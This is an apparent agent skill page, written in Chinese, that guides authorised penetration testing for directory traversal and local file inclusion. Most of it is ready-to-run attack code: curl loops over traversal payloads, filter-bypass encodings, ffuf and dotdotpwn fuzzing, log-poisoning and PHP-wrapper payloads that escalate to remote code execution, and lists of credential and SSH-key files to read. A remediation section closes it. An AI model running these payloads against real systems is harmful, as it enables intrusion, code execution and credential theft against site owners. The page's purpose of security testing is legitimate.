# Performing Directory Traversal Testing

> 通过操控文件路径参数，测试 Web 应用程序中允许读取或写入服务器任意文件的路径遍历漏洞。

- Skill: `killvxk/performing-directory-traversal-testing` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-directory-traversal-testing`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-directory-traversal-testing/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-directory-traversal-testing

---


# 执行目录遍历测试（Performing Directory Traversal Testing）

## 适用场景

- 在授权渗透测试期间，当应用程序在 URL 参数或请求正文中处理文件路径时
- 测试文件下载、文件查看或文件包含功能时
- 评估本地文件包含（LFI）和远程文件包含（RFI）漏洞时
- 评估引用文件的模板引擎、日志系统或报告生成器时
- 在安全评估接受文件名或路径作为参数的 API 时

## 前置条件

- **授权**：针对目标的书面渗透测试协议
- **Burp Suite Professional**：用于拦截和修改文件路径参数
- **ffuf**：使用遍历载荷对文件路径参数进行模糊测试
- **dotdotpwn**：自动化目录遍历模糊测试工具（`apt install dotdotpwn`）
- **SecLists**：来自 Daniel Miessler 收藏的遍历载荷字典
- **curl**：手动测试遍历载荷

## 工作流程

### 步骤 1：识别文件路径参数

查找通过参数引用文件的应用程序端点。

```bash
# 需要查找的常见文件处理模式：
# /download?file=report.pdf
# /view?page=about.html
# /api/files?path=documents/invoice.pdf
# /template?name=header.html
# /include?module=sidebar
# /image?src=photos/avatar.jpg
# /export?format=csv&template=default

# 在 Burp Suite 中，搜索代理历史中与文件相关的参数
# 按参数名过滤：file、path、page、template、include、
# module、src、doc、document、folder、dir、name、filename

# 使用已知有效文件测试以建立基准
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"

# 尝试引用不应被访问的文件
curl -s "https://target.example.com/download?file=../../../etc/passwd"
```

### 步骤 2：测试基本目录遍历载荷

尝试逃逸预期目录并读取敏感文件。

```bash
# Linux 遍历载荷
PAYLOADS=(
  "../../../etc/passwd"
  "../../../../etc/passwd"
  "../../../../../etc/passwd"
  "../../../../../../etc/passwd"
  "../../../../../../../etc/passwd"
  "..%2f..%2f..%2fetc%2fpasswd"
  "..%252f..%252f..%252fetc%252fpasswd"
  "%2e%2e/%2e%2e/%2e%2e/etc/passwd"
  "....//....//....//etc/passwd"
  "..;/..;/..;/etc/passwd"
)

for payload in "${PAYLOADS[@]}"; do
  echo -n "测试：$payload -> "
  response=$(curl -s "https://target.example.com/download?file=$payload")
  if echo "$response" | grep -q "root:"; then
    echo "易受攻击"
  else
    echo "已拦截"
  fi
done

# Windows 遍历载荷
WIN_PAYLOADS=(
  "..\..\..\windows\win.ini"
  "..%5c..%5c..%5cwindows%5cwin.ini"
  "..\/..\/..\/windows/win.ini"
  "....\\....\\....\\windows\\win.ini"
)

for payload in "${WIN_PAYLOADS[@]}"; do
  echo -n "测试：$payload -> "
  curl -s "https://target.example.com/download?file=$payload" | head -c 100
  echo
done
```

### 步骤 3：应用编码和过滤器绕过技术

使用各种编码方案绕过输入验证过滤器。

```bash
# URL 编码绕过
curl -s "https://target.example.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# 双重 URL 编码
curl -s "https://target.example.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"

# UTF-8 编码
curl -s "https://target.example.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"

# 空字节注入（PHP < 5.3.4）
curl -s "https://target.example.com/download?file=../../../etc/passwd%00.pdf"

# 路径截断（Windows）
# 超过 MAX_PATH（260 字符）以绕过扩展名检查
LONG_PATH="../../../etc/passwd"
for i in $(seq 1 200); do LONG_PATH="${LONG_PATH}/."; done
curl -s "https://target.example.com/download?file=$LONG_PATH"

# 大小写操控（Windows）
curl -s "https://target.example.com/download?file=..\..\..\..\WiNdOwS\win.ini"

# 点点斜杠变体
curl -s "https://target.example.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.example.com/download?file=....//../../../etc/passwd"

# 使用绝对路径（如果过滤器仅阻止相对遍历）
curl -s "https://target.example.com/download?file=/etc/passwd"
```

### 步骤 4：使用 ffuf 和 dotdotpwn 自动化测试

使用自动化工具进行全面的遍历测试。

```bash
# 使用遍历载荷列表的 ffuf
ffuf -u "https://target.example.com/download?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -fs 0 \
  -t 20 -rate 50 \
  -o traversal-results.json -of json

# 用于系统化遍历测试的 dotdotpwn
dotdotpwn -m http-url \
  -u "https://target.example.com/download?file=TRAVERSAL" \
  -k "root:" \
  -o /tmp/dotdotpwn-results.txt \
  -d 8 -t 200

# Burp Intruder 方法：
# 1. 将请求发送到 Intruder
# 2. 将文件参数值标记为插入点
# 3. 从 SecLists 加载 LFI 载荷列表
# 4. 添加 Grep Match 规则："root:"、"[extensions]"、"for 16-bit"
# 5. 开始攻击并查看匹配结果
```

### 步骤 5：测试本地文件包含（LFI）以实现代码执行

如果 LFI 已确认，尝试升级到远程代码执行（RCE）。

```bash
# PHP LFI 通过日志污染实现 RCE
# 步骤 1：向访问日志注入 PHP 代码
curl -s -A "<?php system(\$_GET['cmd']); ?>" \
  "https://target.example.com/"

# 步骤 2：通过 LFI 包含日志文件
curl -s "https://target.example.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# PHP 包装器用于文件读取（base64 编码避免解析）
curl -s "https://target.example.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# PHP 包装器用于代码执行
curl -s -X POST \
  -d "<?php system('id'); ?>" \
  "https://target.example.com/page?file=php://input"

# PHP data 包装器
curl -s "https://target.example.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="

# 包含 /proc/self/environ（如果可读）
curl -s -A "<?php phpinfo(); ?>" \
  "https://target.example.com/page?file=../../../proc/self/environ"

# 会话文件包含
# 通过另一个参数将 PHP 代码写入会话
# 然后包含：/tmp/sess_<PHPSESSID>
```

### 步骤 6：读取高价值文件

针对敏感配置和凭据文件。

```bash
# Linux 高价值文件
HIGH_VALUE_LINUX=(
  "/etc/passwd"
  "/etc/shadow"
  "/etc/hosts"
  "/etc/hostname"
  "/proc/self/environ"
  "/proc/self/cmdline"
  "/var/www/html/.env"
  "/var/www/html/config.php"
  "/var/www/html/wp-config.php"
  "/home/user/.ssh/id_rsa"
  "/home/user/.bash_history"
  "/root/.bash_history"
  "/var/log/auth.log"
)

for file in "${HIGH_VALUE_LINUX[@]}"; do
  traversal="../../../../../../..$file"
  echo -n "$file: "
  response=$(curl -s "https://target.example.com/download?file=$traversal")
  if [ ${#response} -gt 10 ]; then
    echo "可读（${#response} 字节）"
  else
    echo "无法访问"
  fi
done

# Windows 高价值文件
HIGH_VALUE_WIN=(
  "C:\\Windows\\win.ini"
  "C:\\Windows\\System32\\drivers\\etc\\hosts"
  "C:\\inetpub\\wwwroot\\web.config"
  "C:\\Users\\Administrator\\.ssh\\id_rsa"
  "C:\\xampp\\apache\\conf\\httpd.conf"
  "C:\\xampp\\mysql\\data\\mysql\\user.MYD"
)
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| **目录遍历（Directory Traversal）** | 使用 `../` 序列导航到父目录，访问预期路径之外的文件 |
| **本地文件包含（LFI）** | 服务器端包含本地文件，可能导致代码执行 |
| **远程文件包含（RFI）** | 包含来自外部 URL 的文件（PHP 中需要 `allow_url_include=On`） |
| **空字节注入（Null Byte Injection）** | 使用 `%00` 截断文件路径，绕过旧版 PHP 中的扩展名检查 |
| **PHP 包装器（PHP Wrappers）** | 用于读取和执行文件的协议，如 `php://filter`、`php://input`、`data://` |
| **日志污染（Log Poisoning）** | 将代码注入日志文件，然后通过 LFI 包含以实现代码执行 |
| **路径规范化（Path Canonicalization）** | 将相对路径解析为绝对路径的过程，可能被利用 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| **Burp Suite Professional** | 请求拦截和自动化载荷测试的 Intruder |
| **ffuf** | 使用 LFI/遍历字典进行快速模糊测试 |
| **dotdotpwn** | 带有多种遍历模式的专用目录遍历模糊测试器 |
| **LFISuite** | 使用多种技术的自动化 LFI 利用工具 |
| **SecLists** | 包含 LFI 载荷和遍历模式的综合字典 |
| **Kadimus** | LFI 扫描和利用工具 |

## 常见场景

### 场景 1：文件下载遍历
位于 `/download?file=report.pdf` 的文档下载端点未验证文件参数。将值替换为 `../../../etc/passwd` 返回服务器密码文件。

### 场景 2：模板 LFI 到 RCE
PHP 应用程序通过 `?page=home` 包含模板。通过在 User-Agent 头中注入 PHP 代码污染 Apache 访问日志，然后包含该日志文件，攻击者实现远程代码执行。

### 场景 3：图片路径遍历
图片调整大小服务接受 `?src=images/photo.jpg`。应用程序只剥离一次 `../`，不递归处理，因此 `....//....//etc/passwd` 绕过了过滤器。

### 场景 4：Windows IIS 配置泄漏
.NET 应用程序通过 `?path=docs\manual.pdf` 提供文件。遍历到 `..\..\web.config` 暴露了包含数据库连接字符串的 IIS 配置文件。

## 输出格式

```
## 目录遍历发现报告

**漏洞**：路径遍历 / 本地文件包含
**严重程度**：高（CVSS 8.6）
**位置**：GET /download?file=../../../etc/passwd
**OWASP 类别**：A01:2021 - 访问控制失效

### 复现步骤
1. 导航至 https://target.example.com/download?file=report.pdf
2. 替换文件参数：?file=../../../etc/passwd
3. 服务器返回 /etc/passwd 内容

### 已获取文件
| 文件 | 影响 |
|------|--------|
| /etc/passwd | 用户枚举（42 个账户） |
| /var/www/html/.env | 数据库凭据暴露 |
| /home/deploy/.ssh/id_rsa | 恢复 SSH 私钥 |
| /proc/self/environ | 包含 API 密钥的环境变量 |

### 需要过滤器绕过
原始 `../` 被过滤器剥离。成功的绕过：`....//....//....//etc/passwd`

### 修复建议
1. 使用允许的文件名白名单，而不是接受任意路径
2. 解析规范路径并验证其在预期目录内
3. 以最小文件系统权限运行 Web 服务器
4. 从 Web 可访问目录中删除敏感文件
5. 如非必要，禁用 PHP 包装器（allow_url_include、allow_url_fopen）
```

